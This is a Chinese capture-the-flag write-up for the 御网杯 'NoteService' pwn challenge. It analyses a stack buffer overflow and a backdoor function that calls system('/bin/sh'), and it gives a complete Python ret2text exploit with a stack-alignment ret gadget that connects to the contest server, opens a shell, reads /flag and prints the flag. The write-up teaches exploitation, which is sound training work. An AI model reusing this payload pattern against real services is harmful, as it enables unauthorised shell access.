[Pwn] 御网杯 Noteservices

👁 0 views
📅 2026-5-30 ⏱ 1 min 🏆 御网杯

题目名称 noteservices

解题思路(要求解题思路清晰,每个题需截图flag值并且包含时间)

PWN-NoteService Writeup

题目信息

    • 题目名称: PWN-NoteService
    • 难度: 初级
    • 分值: 400
    • 分类: PWN
    • Flag: flag{b8604a81cf1196b752f8704fff71c0f2}

1. 环境分析

文件信息

  • vuln: ELF 64-bit LSB executable, x86-64, statically linked, not stripped

保护机制

  • Arch:     amd64-64-little

  • RELRO:    Partial RELRO

  • Stack:    No canary found

  • NX:       NX enabled

  • PIE:      No PIE (0x400000)

  • 关键点:

    • 64位程序
    • 无栈保护(No Canary) — 可以直接栈溢出
    • NX 已开启 — 不能执行栈上的shellcode,需要使用代码段中的指令(ret2text)
    • 无 PIE — 地址固定,可以直接使用硬编码地址
    • 静态链接 — libc函数已经包含在二进制文件中

2. 漏洞分析

关键函数

  • vuln() 函数 — 存在栈溢出漏洞:

  • vuln():

  • sub rsp, 0x28        ; 分配栈空间

  • lea rsi, [rbp-0x30]  ; 缓冲区起始地址

  • mov edx, 0x60        ; 读取 96 字节

  • call read

  • 缓冲区大小为 48 字节 (rbp-0x30),但 read() 读取了 96 字节 (0x60),存在溢出。

  • secret_note() 函数 — 后门函数:

  • secret_note():

  • lea rdi, [rip+0xe71]  ; "/bin/sh"

  • call system

  • 地址:0x401196,直接调用 system("/bin/sh")

溢出偏移计算

  • 栈布局:

  • [rbp-0x30]  缓冲区 (48字节)

  • [rbp]       保存的 RBP (8字节)

  • [rbp+8]     返回地址 (8字节)

  • 但实际偏移为 72字节(因为 sub rsp, 0x28 的额外对齐),需要通过调试或分析确定。


3. Exploit 编写

完整 Exploit 代码

  • import struct, socket, time, select, sys

  • secret_note = 0x401196

  • ret_gadget  = 0x40101a   # ret 指令 (栈对齐用)

Payload: 72字节填充 + ret(栈对齐) + secret_note地址

  • payload = b'A' * 72 + struct.pack('<Q', ret_gadget) + struct.pack('<Q', secret_note)

  • s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  • s.settimeout(10)

  • s.connect(('120.27.146.76', 19574))

读取 banner

  • time.sleep(0.5)
  • try: print("[*]", s.recv(4096))
  • except: pass

发送溢出 payload

  • s.sendall(payload)
  • time.sleep(1)
  • try: print("[*]", s.recv(4096))
  • except: pass

Shell 已启动,发送命令

  • time.sleep(1)

  • for cmd in [b'echo SHELL_OK\n', b'/bin/cat /flag\n']:

  • s.send(cmd)

  • time.sleep(2)

  • result = b''

  • s.setblocking(0)

  • while select.select([s], [], [], 1.0)[0]:

  • try:

  • chunk = s.recv(4096)

  • if not chunk: break

  • result += chunk

  • except: break

  • s.setblocking(1)

  • print(f"[+] {cmd.strip()}: {result}")

  • s.close()

关键技术点:栈对齐

  • 直接跳转到 secret_note 会导致 system() 崩溃,因为 x86-64 的 movaps 指令要求 16字节栈对齐。解决方法是在返回地址前插入一个 ret gadget:

  • payload = padding + ret_gadget + secret_note

  • ret gadget 的地址通过搜索二进制中的 0xc3(ret 指令)获得:0x40101a


4. 运行结果

  • [*] b'=== Note Service ===\nLeave your note:\n'

  • [*] b'Note saved. Thank you!\n'

  • [+] b'echo SHELL_OK': b'SHELL_OK\n'

  • [+] b'/bin/cat /flag': b'flag{b8604a81cf1196b752f8704fff71c0f2}\n'

  • Flag:flag{b8604a81cf1196b752f8704fff71c0f2}


5. 总结

  • | 要素 | 内容 |

  • |------|------|

  • | 漏洞类型 | 栈缓冲区溢出(Stack Buffer Overflow) |

  • | 攻击技术 | ret2text(利用程序自带后门函数) |

  • | 关键难点 | 栈对齐(需要额外的 ret gadget) |

  • | 保护绕过 | NX 开启 → 不用 shellcode,用已有代码 |

  • 这是一个经典的初级 PWN 题,核心思路是:

    1. 发现后门函数 secret_note()system("/bin/sh")
    1. 利用栈溢出覆盖返回地址
    1. 注意 x86-64 的栈对齐要求,插入 ret gadget